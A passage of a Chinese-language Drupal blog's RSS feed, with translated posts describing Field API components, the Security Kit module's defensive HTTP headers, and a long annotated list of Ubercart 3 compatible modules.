&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.attach.inc/group/field_storage/7.x&#34; target=&#34;_blank&#34;&gt;Field Storage API&lt;/a&gt;&lt;/strong&gt;：为字段数据提供一个可插接的存储后端系统。缺省的实现是&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21modules%21field_sql_storage%21field_sql_storage.module/7.x&#34; target=&#34;_blank&#34;&gt;field_sql_storage.module&lt;/a&gt;，其中利用SQL数据库实现字段数据的存储。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.crud.inc/group/field_purge/7.x&#34; target=&#34;_blank&#34;&gt;Field API bulk data deletion&lt;/a&gt;&lt;/strong&gt;：清理由&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.crud.inc/function/field_delete_field/7.x&#34; target=&#34;_blank&#34;&gt;field_delete_field()&lt;/a&gt;和&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.crud.inc/function/field_delete_instance/7.x&#34; target=&#34;_blank&#34;&gt;field_delete_instance&lt;/a&gt;批量删除操作后的数据。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.multilingual.inc/group/field_language/7.x&#34; target=&#34;_blank&#34;&gt;Field language API&lt;/a&gt;&lt;/strong&gt;：为Field API提供多语言支持。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Security Kit模块</title>
      <link>/post/drupal-security-kit-module/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-security-kit-module/</guid>
      <description>&lt;p&gt;该模块为Drupal提供了大量的安全加固选项，能降低Web应用被攻击的风险。&lt;/p&gt;

&lt;p&gt;##跨域脚本&lt;/p&gt;

&lt;p&gt;通过IE和Firefox的X-Content-Security-Policy、Chrome和Safari的X-WebKit-CSP以及Content-Security-Policy（官方名称）的HTTP响应头，来实现内容安全策略。其中包含配置页面，并且对违反CSP的访问记录到Watchdog。&lt;/p&gt;

&lt;p&gt;Internet Explorer/Apple Safari/Google Chrome提供了内置的&lt;a href=&#34;http://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC&#34; target=&#34;_blank&#34;&gt;XSS&lt;/a&gt;过滤功能，利用XSS-Protection这一HTTP响应头来进行控制浏览器的这些功能。&lt;/p&gt;

&lt;p&gt;修复Drupal 6的&lt;a href=&#34;http://drupal.org/node/803430&#34; target=&#34;_blank&#34;&gt;上传问题&lt;/a&gt;，Drupal 7的上传功能合并到了FileField中，所有D7版本没有这一选项。&lt;/p&gt;

&lt;p&gt;在HTTP响应头中添加X-Content-Type-Options: nosniff，阻止服务器提供错误的MIME类型和浏览器的&lt;a href=&#34;http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx&#34; target=&#34;_blank&#34;&gt;upsniff&lt;/a&gt;行为。&lt;/p&gt;

&lt;p&gt;##跨站点请求伪造&lt;/p&gt;

&lt;p&gt;在HTTP请求头中加入&lt;a href=&#34;http://tools.ietf.org/id/draft-abarth-origin-03.html&#34; target=&#34;_blank&#34;&gt;Origin&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;##点击劫持
&lt;a href=&#34;http://en.wikipedia.org/wiki/Clickjacking&#34; target=&#34;_blank&#34;&gt;参考资料&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;实现了X-Frame-Options的HTTP响应头。&lt;/p&gt;

&lt;p&gt;结合JavaScript + CSS + Noscript，用于提供禁止JavaScript的自定义消息提示。&lt;/p&gt;

&lt;p&gt;##SSL/TLS&lt;/p&gt;

&lt;p&gt;实现了&lt;a href=&#34;http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security&#34; target=&#34;_blank&#34;&gt;HTTP Strict Transport Security头&lt;/a&gt;（强制要求使用https &amp;ndash;译者注），用于防止&lt;a href=&#34;http://zh.wikipedia.org/wiki/%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB&#34; target=&#34;_blank&#34;&gt;中间人攻击&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;##杂项&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.w3.org/TR/from-origin/#introduction&#34; target=&#34;_blank&#34;&gt;From-Origin&lt;/a&gt;响应头（用于保障页面中嵌入的资源来源于受控范围）。&lt;/p&gt;

&lt;p&gt;##文档&lt;/p&gt;

&lt;p&gt;所有必要的文档和例子都可以在该模块的配置页面中找到，你还可以在&lt;a href=&#34;http://www.browserscope.org/?category=security&#34; target=&#34;_blank&#34;&gt;http://www.browserscope.org/?category=security&lt;/a&gt;中查看浏览器当前的支持状态。&lt;/p&gt;

&lt;p&gt;##已知问题&lt;/p&gt;

&lt;p&gt;CSP报告在Chrome浏览器中不可用，Chrome在Menu返回403的情况下不会设置Cookie。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Ubercart 3 模块列表</title>
      <link>/post/ubercart-3-module-list/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/ubercart-3-module-list/</guid>
      <description>&lt;p&gt;我编写了一个Ubercart 3兼容的模块列表，对于这其中列出的模块，我没有做一个完整的测试，这个工作太庞大了。另外也请注意，有些模块可能还在开发状态，可能并未完成甚至是刚刚启动。&lt;/p&gt;

&lt;p&gt;如果有我漏记的模块，请补充到本页面中。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_adyen&#34; target=&#34;_blank&#34;&gt;Adyen Ubercart支付&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个模块提供了对Adyen支付的支持。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/agreservations&#34; target=&#34;_blank&#34;&gt;Agreservations&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这一模块用于处理预订过程的资源保留。（例如车，房间等可按时间以及日期进行订购的商品——译者注）。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/ajaxblocks&#34; target=&#34;_blank&#34;&gt;Ajax Blocks&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在载入一个被其他匿名用户完整缓存的页面之后，用AJAX请求来完成Block的加载。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_alipay&#34; target=&#34;_blank&#34;&gt;Alipay&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;你懂的。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/ubercart_attribute_stock&#34; target=&#34;_blank&#34;&gt;Attribute Stock&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个模块同商品属性协同工作，可以将属性组合和库存结合起来进行管理。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_authorizenet_simdpm&#34; target=&#34;_blank&#34;&gt;Authorize.Net SIM/DPM Payment Methods&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Authorize.Net SIM/DPM支付模块为Ubercart用户提供了Authorize.NET提供的两种支付方式。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/balance_tracker&#34; target=&#34;_blank&#34;&gt;Balance Checker&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个模块为用户生成一张余额表，用于展示用户的收入和支出。（基本废了——译者注）。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_bank_transfer&#34; target=&#34;_blank&#34;&gt;Bank Transfer&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个模块提供了一种支付方式，用于把店铺的银行帐号信息展示给用户，便于用户进行汇款支付。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_brazilian_payments&#34; target=&#34;_blank&#34;&gt;Brazilian Payment for Ubercart&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;又一个支付，懒得翻。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_canadapost&#34; target=&#34;_blank&#34;&gt;Canada Post&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这一模块用于查询加拿大邮政报价。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_canpar&#34; target=&#34;_blank&#34;&gt;Canpar Shipping Quotes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这一模块用于查询Canpar的配送报价，不仅支持基础费率，也支持客户的协商费率。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/colorbox&#34; target=&#34;_blank&#34;&gt;ColorBox&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;ColorBox一个轻量级的可定制的Lightbox插件，兼容从jQuery *3到*6，这个模块完成Colorbox到Drupal的集成。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/course&#34; target=&#34;_blank&#34;&gt;Course&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;将任意的内容类型当作e-learning课程来使用，并可以建立有级别的或无级别的课程对象。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/crumbs&#34; target=&#34;_blank&#34;&gt;Crumbs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;一种新的弹性更好，更具个性的面包屑。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_dotpay_pl&#34; target=&#34;_blank&#34;&gt;Dotpay&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;波兰的Dotpay.pl的支付集成（天下支付何其多——译者）&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/ddblock&#34; target=&#34;_blank&#34;&gt;Dynamic display block&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这一模块主要用于在首页显著位置显示轮播内容（貌似已经年老色衰了——译者）。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_earlybird&#34; target=&#34;_blank&#34;&gt;Early Bird Discount&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个折扣模块用于实现基于时间的促销，无序促销码，可以针对每个商品分别设置。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/easyrec_for_ubercart&#34; target=&#34;_blank&#34;&gt;Easyrec&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;将&lt;a href=&#34;http://easyrec.org/&#34; target=&#34;_blank&#34;&gt;Easyrec&lt;/a&gt;的推荐功能集成到Ubercart之中，用于提供相关内容推荐。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_ems&#34; target=&#34;_blank&#34;&gt;EMS Russian post shipping&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;俄国EMS（懒得翻——译者）。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_eway&#34; target=&#34;_blank&#34;&gt;eWay Payment Gateway&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;一家来自袋鼠国的叫做eWay的支付商的支付网关。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_extra_fields_pane&#34; target=&#34;_blank&#34;&gt;Extra Field Checkout Pane&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个模块使得管理员可以定义附加的地址字段，这一字段会在Checkout过程以及订单处理页面中使用。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_fedex&#34; target=&#34;_blank&#34;&gt;Fedex Shipping&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;利用FedEx的Web Service来计算运费。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_field_attribute&#34; target=&#34;_blank&#34;&gt;Field attributes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个模块把Ubercart的属性系统和Drupal核心的Field API连接起来，可以从多值字段中自动创建商品属性和选项。（好东西，不过好像不太可靠——译者）&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/forgotten_login&#34; target=&#34;_blank&#34;&gt;Forgotten Login&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;监控并对失败的登录进行反应（对过多的失败登录尝试，自动发送邮件协助用户复位密码——译者）。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_global_quote&#34; target=&#34;_blank&#34;&gt;Global Quote&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;运费计算模块，提供了按照重量和配送地址计算运费的能力。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/google_analytics&#34; target=&#34;_blank&#34;&gt;Google Analytics&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;为网站添加Google分析能力。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_hotel&#34; target=&#34;_blank&#34;&gt;Hotel Booking System&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;旅店预订系统。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/ideal&#34; target=&#34;_blank&#34;&gt;iDEAL&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;允许用户使用iDEAL支付API进行荷兰银行的账号间转账。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/is_useful&#34; target=&#34;_blank&#34;&gt;Is Useful&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;为Entity添加iTunes/Amazon风格的“这条内容有用么？”的打分系统。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/jqzoom&#34; target=&#34;_blank&#34;&gt;jQZoom&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;jQZoom模块是jQZoom这一jQuery插件的实现。为图片提供了放大效果。当用户鼠标移到一个图片上时，鼠标指针区域的图片会显示一个放大的版本。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/nap&#34; target=&#34;_blank&#34;&gt;Node access product&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;为Product Node提供“Node Access”设置，订购了产品的用户可以查看指定的内容。这一设置也可以应用到分类，特定Node或者View中。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_tracking&#34; target=&#34;_blank&#34;&gt;Package Tracking&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;配送跟踪模块。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/paypernode&#34; target=&#34;_blank&#34;&gt;Pay-per-node&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个模块会暂时覆盖Node的创建权限，允许部分用户创建一定数量的Node。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/payment_ubercart&#34; target=&#34;_blank&#34;&gt;Payment&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;提供支付能力（摔，这是充数——译者）。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_payonline&#34; target=&#34;_blank&#34;&gt;Payonline.ru payment for Ubercart&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;（作者都懒得说了——译者）&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_rec&#34; target=&#34;_blank&#34;&gt;Products Recommender&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个模块提供了两个缺省视图，买了这个商品的人还买了什么，以及根据当前用户的购买记录推荐的商品。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_qbms&#34; target=&#34;_blank&#34;&gt;Quickbooks Merchant Service&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个模块利用Quickbooks Merchant Services(QBMS)的服务，基于uc_credit为网店提供了一个支付卡支付网关。这不是Quickbook的完整集成，他只是简单的为QMBS帐号提供了一个简单的信用卡流程。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_reorder&#34; target=&#34;_blank&#34;&gt;Reorder button for Ubercart&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;回头客很重要，利用这一模块方便回头客重复订购需要的服务和商品。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/rmzone&#34; target=&#34;_blank&#34;&gt;Royal Mail zones&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;英国皇家邮政将全球邮寄地址分为四个区：英国，欧洲是第一和第二区，这个模块用于区别一个地址是哪个区。注意根据这个定义，英国不是欧洲的一部分，有些反直觉。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_simplenews&#34; target=&#34;_blank&#34;&gt;Simplenews subscription&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在Ubercart checkout界面提供一个简单的订阅新闻邮件的功能。（目前还是Dev，也没有Demo），不懂干嘛的。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/stripe&#34; target=&#34;_blank&#34;&gt;Stripe&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;对 &lt;code&gt;https://stripe.com/&lt;/code&gt; 的一些集成。（似乎是个移动支付方案——译者）。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/sandbox/matus.lestan/1732798&#34; target=&#34;_blank&#34;&gt;TatraPay(沙箱)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;一个斯洛伐克银行的支付模块。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_addresses&#34; target=&#34;_blank&#34;&gt;Ubercart Addresses&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;让顾客可以有一个或更多的地址。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_affiliate2&#34; target=&#34;_blank&#34;&gt;Ubercart Affiliate v2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;提供分支机构功能（猜的，看模块页面有佣金，报表等等相关功能——译者）&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_attribute_files&#34; target=&#34;_blank&#34;&gt;Ubercart Attribute Files&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;给Ubercart提供文件上传属性，例如打印店就必须在结算之前上传一个图片。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_attributes_in_cart&#34; target=&#34;_blank&#34;&gt;Ubercart attributes in cart&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;可以允许消费者在购物车中修改商品的属性选择。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_auction&#34; target=&#34;_blank&#34;&gt;Ubercart Auction&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;用这个模块可以在网店上拍卖商品。当一个商品进入拍卖时，用户无法将这一商品放入购物车，而只能进行叫价，直到拍卖活动结束。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_epdq&#34; target=&#34;_blank&#34;&gt;Ubercart Barclays EPDQ Payment Gateway&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;还是支付啊。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_cart_login_flow&#34; target=&#34;_blank&#34;&gt;Ubercart Cart Login Flow&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;根据用户登录情况不同（结算页面还是其他页面），决定不同的购物车合并或替换的行为。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_checkoutfi&#34; target=&#34;_blank&#34;&gt;Ubercart Checkout.fi Payment Method&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;支付支付。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_custom_price&#34; target=&#34;_blank&#34;&gt;Ubercart Custom Price&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;最初这个模块是用来允许使用自定义PHP代码跟产品关联，用于调整产品价格。（危险行为——译者）。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_coupon&#34; target=&#34;_blank&#34;&gt;Ubercart Discount Coupons&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;提供折扣功能。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_dropdown_attributes&#34; target=&#34;_blank&#34;&gt;UC Dropdown Attributes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这一模块提供了一个用于定义属性间联动关系的界面。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_gbase&#34; target=&#34;_blank&#34;&gt;Ubercart Google Merchant Integration&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;将Ubercart和Google Merchant进行集成。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/ubercart_funds&#34; target=&#34;_blank&#34;&gt;Ubercart FUnds&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;提供一个资金管理系统，包括存入，取出，转账等功能。覆盖了大多数paypal类似的功能。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_migs&#34; target=&#34;_blank&#34;&gt;Ubercart MIGS Gateway&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;MIGS(MasterCart网关服务)，第三方的支付处理。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_optional_checkout_review&#34; target=&#34;_blank&#34;&gt;Ubercart Optional Checkout Review&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;管理员可以设置在结算页面是否显示一个预览按钮。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_pma&#34; target=&#34;_blank&#34;&gt;Ubercart Payment Method Adjustments&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;(仅有5，6版本——译者)。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_product_actions&#34; target=&#34;_blank&#34;&gt;Ubercart Product Actions&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;依赖VBO和一些代码，协助店铺管理员进行一些批量操作，包括对重量和价格的调整。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_product_panes&#34; target=&#34;_blank&#34;&gt;Ubercart Product Checkout Panes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;对指定产品的结算过程中，只显示指定的结算块。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_product_minmax&#34; target=&#34;_blank&#34;&gt;Ubercart Product Minimum &amp;amp; Maximum&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;为商品加上最小数量，最大数量购买次数等限制。
另外这些限制对套装产品是无效的。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_realex&#34; target=&#34;_blank&#34;&gt;Ubercart Realex&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;又一个支付。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_restrictions&#34; target=&#34;_blank&#34;&gt;Ubercart Restrictions&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;防止错误的人购买错误的东西，或邮寄到错误的地址。
例如某些商品不能卖给未成年人，有些商品不能邮寄到某些地方。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_sagepay&#34; target=&#34;_blank&#34;&gt;Ubercart Sage Pay&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;信用卡支付模块。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_sermepa&#34; target=&#34;_blank&#34;&gt;Ubercart Sermepa Payment System&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;支付&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_stamps&#34; target=&#34;_blank&#34;&gt;Ubercart Stamps.com® Shipping Labels&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;利用Stampes.com的服务，为Ubercart的订单打印USPS配送标签。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_termsofservice&#34; target=&#34;_blank&#34;&gt;Ubercart Terms of Service&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;为购物车或结算页面提供一份服务条款和一个“我同意”的勾选框。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_webform_pane&#34; target=&#34;_blank&#34;&gt;Ubercart Webform Checkout Pane&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;把一个Web form Node展示在订单或结算页面上，可以用于调查或一些附加界面。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_add_to_cart_block&#34; target=&#34;_blank&#34;&gt;UC Add to Cart Block&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果你希望使用“添加到购物车”，又不想使用Views，也不想写PHP，这个模块能帮你创建一个简单的Block来实现这一想法，这个Block可以随处放置和重用。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_bitcoin&#34; target=&#34;_blank&#34;&gt;UC Bitcoin&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;BitCoin支付。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_civicrm&#34; target=&#34;_blank&#34;&gt;UC CiviCRM&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ubercart和CiviCRM集成。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_dropdown_attributes&#34; target=&#34;_blank&#34;&gt;UC Dropdown Attributes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;同53重复。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_free_order&#34; target=&#34;_blank&#34;&gt;UC Free Order Payment Method&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个模块注入到支付过程之中，用于展示一个“免费”的支付方法。&lt;/p&gt;

&lt;ul&gt;
